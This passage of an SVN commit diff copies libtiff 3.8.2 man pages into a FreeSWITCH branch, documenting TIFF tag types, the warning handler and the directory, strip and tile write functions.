+TIFFTAG_EXTRASAMPLES	2	uint16,uint16*	\(dg count & types array
+TIFFTAG_FAXFILLFUNC	1	TIFFFaxFillFunc	G3/G4 compression pseudo-tag
+TIFFTAG_FAXMODE	1	int	\(dg G3/G4 compression pseudo-tag
+TIFFTAG_FILLORDER	1	uint16	\(dg
+TIFFTAG_GROUP3OPTIONS	1	uint32	\(dg
+TIFFTAG_GROUP4OPTIONS	1	uint32	\(dg
+TIFFTAG_HALFTONEHINTS	2	uint16
+TIFFTAG_HOSTCOMPUTER	1	char*
+TIFFTAG_ICCPROFILE	2	uint32,void*	count, profile data
+TIFFTAG_IMAGEDEPTH	1	uint32	\(dg
+TIFFTAG_IMAGEDESCRIPTION	1	char*
+TIFFTAG_IMAGELENGTH	1	uint32
+TIFFTAG_IMAGEWIDTH	1	uint32	\(dg
+TIFFTAG_INKNAMES	2	uint16, char*
+TIFFTAG_INKSET	1	uint16	\(dg
+TIFFTAG_JPEGCOLORMODE	1	int	\(dg JPEG pseudo-tag
+TIFFTAG_JPEGQUALITY	1	int	JPEG pseudo-tag
+TIFFTAG_JPEGTABLES	2	uint32*,void*	\(dg count & tables
+TIFFTAG_JPEGTABLESMODE	1	int	\(dg JPEG pseudo-tag
+TIFFTAG_MAKE	1	char*
+TIFFTAG_MATTEING	1	uint16	\(dg
+TIFFTAG_MAXSAMPLEVALUE	1	uint16
+TIFFTAG_MINSAMPLEVALUE	1	uint16
+TIFFTAG_MODEL	1	char*
+TIFFTAG_ORIENTATION	1	uint16
+TIFFTAG_PAGENAME	1	char*
+TIFFTAG_PAGENUMBER	2	uint16
+TIFFTAG_PHOTOMETRIC	1	uint16
+TIFFTAG_PHOTOSHOP	?	uint32,void*	count, data
+TIFFTAG_PLANARCONFIG	1	uint16	\(dg
+TIFFTAG_PREDICTOR	1	uint16	\(dg
+TIFFTAG_PRIMARYCHROMATICITIES	1	float*	6-entry array
+TIFFTAG_REFERENCEBLACKWHITE	1	float*	\(dg 2*SamplesPerPixel array
+TIFFTAG_RESOLUTIONUNIT	1	uint16
+TIFFTAG_RICHTIFFIPTC	2	uint32,void*	count, data
+TIFFTAG_ROWSPERSTRIP	1	uint32	\(dg must be > 0
+TIFFTAG_SAMPLEFORMAT	1	uint16	\(dg
+TIFFTAG_SAMPLESPERPIXEL	1	uint16	\(dg value must be <= 4
+TIFFTAG_SMAXSAMPLEVALUE	1	double
+TIFFTAG_SMINSAMPLEVALUE	1	double
+TIFFTAG_SOFTWARE	1	char*
+TIFFTAG_STONITS	1	double	\(dg
+TIFFTAG_SUBFILETYPE	1	uint32
+TIFFTAG_SUBIFD	2	uint16,uint32*	count & offsets array
+TIFFTAG_TARGETPRINTER	1	char*
+TIFFTAG_THRESHHOLDING	1	uint16
+TIFFTAG_TILEDEPTH	1	uint32	\(dg
+TIFFTAG_TILELENGTH	1	uint32	\(dg must be a multiple of 8
+TIFFTAG_TILEWIDTH	1	uint32	\(dg must be a multiple of 8
+TIFFTAG_TRANSFERFUNCTION	1 or 3\(dd uint16*	1<<BitsPerSample entry arrays
+TIFFTAG_WHITEPOINT	1	float*	2-entry array
+TIFFTAG_XMLPACKET	2	uint32,void*	count, data
+TIFFTAG_XPOSITION	1	float
+TIFFTAG_XRESOLUTION	1	float
+TIFFTAG_YCBCRCOEFFICIENTS	1	float*	\(dg 3-entry array
+TIFFTAG_YCBCRPOSITIONING	1	uint16	\(dg
+TIFFTAG_YCBCRSAMPLING	2	uint16	\(dg
+TIFFTAG_YPOSITION	1	float
+TIFFTAG_YRESOLUTION	1	float
+.fi
+.sp 5p
+\(dg Tag may not have its values changed once data is written.
+.br
+.fi
+\(dd
+If
+.I SamplesPerPixel
+is one, then a single array is passed; otherwise three arrays should be
+passed.
+.fi
+* The contents of this field are quite complex.  See 
+.BR "The ICC Profile Format Specification" ,
+Annex B.3 "Embedding ICC Profiles in TIFF Files"
+(available at http://www.color.org) for an explanation.
+.br
+.SH "RETURN VALUES"
+1 is returned if the operation was successful.
+Otherwise, 0 is returned if an error was detected.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.PP
+\fB%s: Cannot modify tag "%s" while writing\fP.
+Data has already been written to the file, so the
+specified tag's value can not be changed.
+This restriction is applied to all tags that affect
+the format of written data.
+.PP
+\fB%d: Bad value for "%s"\fP.
+An invalid value was supplied for the named tag.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFGetField (3TIFF),
+.BR TIFFSetDirectory (3TIFF),
+.BR TIFFWriteDirectory (3TIFF),
+.BR TIFFReadDirectory (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWarning.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWarning.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWarning.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWarning.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWarning.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+.\" $Id: TIFFWarning.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWarning 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFWarning, TIFFSetWarningHandler \- library warning interface
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "void TIFFWarning(const char *" module ", const char *" fmt ", " ... ")"
+.sp
+.B "#include <stdargh.h>"
+.sp
+.BI "typedef void (*TIFFWarningHandler)(const char *" module ", const char *" fmt ", va_list " ap ");"
+.sp
+.BI "TIFFWarningHandler TIFFSetWarningHandler(TIFFWarningHandler " handler ");"
+.SH DESCRIPTION
+.I TIFFWarning
+invokes the library-wide warning handler function to (normally) write a
+warning message to the
+.BR stderr .
+The
+.I fmt
+parameter is a
+.IR printf (3S)
+format string, and any number arguments can be supplied. The
+.I module
+parameter is interpreted as a string that, if non-zero, should be printed
+before the message; it typically is used to identify the software module in
+which a warning is detected.
+.PP
+Applications that desire to capture control in the event of a warning should
+use
+.IR TIFFSetWarningHandler
+to override the default warning handler.
+A
+.SM NULL
+(0) warning handler function may be installed to suppress error messages.
+.SH "RETURN VALUES"
+.IR TIFFSetWarningHandler
+returns a reference to the previous error handling function.
+.SH "SEE ALSO"
+.BR TIFFError (3TIFF),
+.BR libtiff (3TIFF),
+.BR printf (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteDirectory.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteDirectory.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteDirectory.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteDirectory.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteDirectory.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,138 @@
+.\" $Id: TIFFWriteDirectory.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteDirectory 3TIFF "September 26, 2001" "libtiff"
+.SH NAME
+TIFFWriteDirectory, TIFFRewriteDirectory, TIFFCheckpointDirectory \- write the
+current directory in an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFWriteDirectory(TIFF *" tif ")"
+.br
+.BI "int TIFFRewriteDirectory(TIFF *" tif ")"
+.br
+.BI "int TIFFCheckpointDirectory(TIFF *" tif ")"
+.SH DESCRIPTION
+.IR TIFFWriteDirectory 
+will write the contents of the current directory to the file and setup to
+create a new subfile in the same file. Applications only need to call
+.IR TIFFWriteDirectory
+when writing multiple subfiles to a single
+.SM TIFF
+file.
+.IR TIFFWriteDirectory
+is automatically called by
+.IR TIFFClose
+and
+.IR TIFFFlush
+to write a modified directory if the file is open for writing.
+.PP
+The 
+.IR TIFFRewriteDirectory
+function operates similarly to 
+.IR TIFFWriteDirectory,
+but can be called with directories previously read or written that already
+have an established location in the file.  It will rewrite the directory,
+but instead of place it at it's old location (as 
+.IR TIFFWriteDirectory
+would) it will place them at the end of the file, correcting the pointer from
+the preceeding directory or file header to point to it's new location.  This
+is particularly important in cases where the size of the directory and
+pointed to data has grown, so it won't fit in the space available at the
+old location.
+.PP
+The
+.IR TIFFCheckpointDirectory
+writes the current state of the tiff directory into the file to make what
+is currently in the file readable.  Unlike
+.IR TIFFWriteDirectory,
+.IR TIFFCheckpointDirectory
+does not free up the directory data structures in memory, so they can be
+updated (as strips/tiles are written) and written again.  Reading such
+a partial file you will at worst get a tiff read error for the first
+strip/tile encountered that is incomplete, but you will at least get
+all the valid data in the file before that.  When the file is complete,
+just use
+.IR TIFFWriteDirectory
+as usual to finish it off cleanly.
+.SH "RETURN VALUES"
+1 is returned when the contents are successfully written to the file.
+Otherwise, 0 is returned if an error was encountered when writing
+the directory contents.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Error post-encoding before directory write" .
+Before writing the contents of the current directory, any pending data are
+flushed. This message indicates that an error occurred while doing this.
+.PP
+.BR "Error flushing data before directory write" .
+Before writing the contents of the current directory, any pending data are
+flushed. This message indicates that an error occurred while doing this.
+.PP
+.BR "Cannot write directory, out of space" .
+There was not enough space to allocate a temporary area for the directory that
+was to be written.
+.PP
+.BR "Error writing directory count" .
+A write error occurred when writing the count of fields in the directory.
+.PP
+.BR "Error writing directory contents" .
+A write error occurred when writing the directory fields.
+.PP
+.BR "Error writing directory link" .
+A write error occurred when writing the link to the next directory.
+.PP
+\fBError writing data for field "%s"\fP.
+A write error occurred when writing indirect data for the specified field.
+.PP
+.BR "Error writing TIFF header" .
+A write error occurred when re-writing header at the front of the file.
+.PP
+.BR "Error fetching directory count" .
+A read error occurred when fetching the directory count field for
+a previous directory.
+This can occur when setting up a link to the directory that is being
+written.
+.PP
+.BR "Error fetching directory link" .
+A read error occurred when fetching the directory link field for
+a previous directory.
+This can occur when setting up a link to the directory that is being
+written.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFError (3TIFF),
+.BR TIFFReadDirectory (3TIFF),
+.BR TIFFSetDirectory (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedStrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedStrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteEncodedStrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedStrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedStrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,102 @@
+.\" $Id: TIFFWriteEncodedStrip.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteEncodedStrip 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFWritedEncodedStrip \- compress and write a strip of data to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFWriteEncodedStrip(TIFF *" tif ", tstrip_t " strip ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Compress
+.I size
+bytes of raw data from
+.I buf
+and write the result to the specified strip; replacing any previously written
+data. Note that the value of
+.I strip
+is a ``raw strip number.'' That is, the caller must take into account whether
+or not the data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.SH NOTES
+The library writes encoded data using the native machine byte order. Correctly
+implemented
+.SM TIFF
+readers are expected to do any necessary byte-swapping to correctly process
+image data with BitsPerSample greater than 8.
+.PP
+The strip number must be valid according to the current settings of the
+.I ImageLength
+and
+.I RowsPerStrip
+tags.
+An image may be dynamically grown by increasing the value of
+.I ImageLength
+prior to each call to
+.IR TIFFWriteEncodedStrip .
+.SH "RETURN VALUES"
+\-1 is returned if an error was encountered. Otherwise, the value of
+.IR size
+is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+\fB%s: File not open for writing\fP. The file was opened for reading, not
+writing.
+.PP
+\fBCan not write scanlines to a tiled image\fP. The image is assumed to be
+organized in tiles because the
+.I TileWidth
+and
+.I TileLength
+tags have been set with
+.IR TIFFSetField (3TIFF).
+.PP
+\fB%s: Must set "ImageWidth" before writing data\fP.
+The image's width has not be set before the first write. See
+.IR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: Must set "PlanarConfiguration" before writing data\fP.
+The organization of data has not be defined before the first write. See
+.IR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: No space for strip arrays"\fP.
+There was not enough space for the arrays that hold strip offsets and byte
+counts.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteScanline (3TIFF),
+.BR TIFFWriteRawStrip (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteEncodedTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteEncodedTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+.\" $Id: TIFFWriteEncodedTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteEncodedTile 3TIFF "December 16, 1991" "libtiff"
+.SH NAME
+TIFFWritedEncodedTile \- compress and write a tile of data to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFWriteEncodedTile(TIFF *" tif ", ttile_t " tile ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Compress
+.I size
+bytes of raw data from
+.I buf
+and
+.B append
+the result to the end of the specified tile. Note that the value of
+.I tile
+is a ``raw tile number.'' That is, the caller must take into account whether
+or not the data are organized in separate places (\c
+.IR PlanarConfiguration =2).
+.IR TIFFComputeTile
+automatically does this when converting an (x,y,z,sample) coordinate quadruple
+to a tile number.
+.SH NOTES
+The library writes encoded data using the native machine byte order. Correctly
+implemented
+.SM TIFF
+readers are expected to do any necessary byte-swapping to correctly process
+image data with BitsPerSample greater than 8.
+.SH "RETURN VALUES"
+\-1 is returned if an error was encountered. Otherwise, the value of
+.IR size 
+is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.PP
+\fB%s: File not open for writing\fP.
+The file was opened for reading, not writing.
+.PP
+\fBCan not write tiles to a stripped image\fP.
+The image is assumed to be organized in strips because neither of the
+.I TileWidth
+or
+.I TileLength
+tags have been set with
+.BR TIFFSetField (3TIFF).
+.PP
+\fB%s: Must set "ImageWidth" before writing data\fP. The image's width has not
+be set before the first write. See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: Must set "PlanarConfiguration" before writing data\fP. The organization
+of data has not be defined before the first write. See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: No space for tile arrays"\fP.
+There was not enough space for the arrays that hold tile offsets and byte
+counts.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteTile (3TIFF),
+.BR TIFFWriteRawTile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawStrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawStrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteRawStrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawStrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawStrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+.\" $Id: TIFFWriteRawStrip.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteRawstrip 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFWriteRawStrip \- write a strip of raw data to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFWriteRawStrip(TIFF *" tif ", tstrip_t " strip ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Append
+.I size
+bytes of raw data to the specified strip.
+.SH NOTES
+The strip number must be valid according to the current settings of the
+.I ImageLength
+and
+.I RowsPerStrip
+tags.
+An image may be dynamically grown by increasing the value of
+.I ImageLength
+prior to each call to
+.IR TIFFWriteRawStrip .
+.SH "RETURN VALUES"
+\-1 is returned if an error occurred.
+Otherwise, the value of
+.IR size 
+is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.PP
+\fB%s: File not open for writing\fP.
+The file was opened for reading, not writing.
+.PP
+\fBCan not write scanlines to a tiled image\fP. The image is assumed to be
+organized in tiles because the
+.I TileWidth
+and
+.I TileLength
+tags have been set with
+.BR TIFFSetField (3TIFF).
+.PP
+\fB%s: Must set "ImageWidth" before writing data\fP.
+The image's width has not be set before the first write.
+See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: Must set "PlanarConfiguration" before writing data\fP.
+The organization of data has not be defined before the first write.
+See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: No space for strip arrays"\fP.
+There was not enough space for the arrays that hold strip
+offsets and byte counts.
+.PP
+\fB%s: Strip %d out of range, max %d\fP.
+The specified strip is not a valid strip according to the
+currently specified image dimensions.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteEncodedStrip (3TIFF),
+.BR TIFFWriteScanline (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFWriteRawTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFWriteRawTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+.\" $Id: TIFFWriteRawTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFWriteRawtile 3TIFF "December 16, 1991" "libtiff"
+.SH NAME
+TIFFWriteRawTile \- write a tile of raw data to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFWriteRawTile(TIFF *" tif ", ttile_t " tile ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Append
+.I size
+bytes of raw data to the specified tile.
+.SH "RETURN VALUES"
+\-1 is returned if an error occurred. Otherwise, the value of
+.IR size 
+is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.PP
+\fB%s: File not open for writing\fP.
+The file was opened for reading, not writing.
+.PP
+\fBCan not write tiles to a stripped image\fP.
+The image is assumed to be organized in strips because neither of the
+.I TileWidth
+or
+.I TileLength
+tags have been set with
+.BR TIFFSetField (3TIFF).
+.PP
+\fB%s: Must set "ImageWidth" before writing data\fP.
+The image's width has not be set before the first write.
+See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: Must set "PlanarConfiguration" before writing data\fP. The organization
+of data has not be defined before the first write. See
+.BR TIFFSetField (3TIFF)
+for information on how to do this.
+.PP
+\fB%s: No space for tile arrays"\fP.
+There was not enough space for the arrays that hold tile offsets and byte
+counts.
+.PP
+\fB%s: Specified tile %d out of range, max %d\fP.
+The specified tile is not valid according to the currently specified image
+dimensions.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteEncodedTile (3TIFF),
+.BR TIFFWriteScanline (3TIFF),
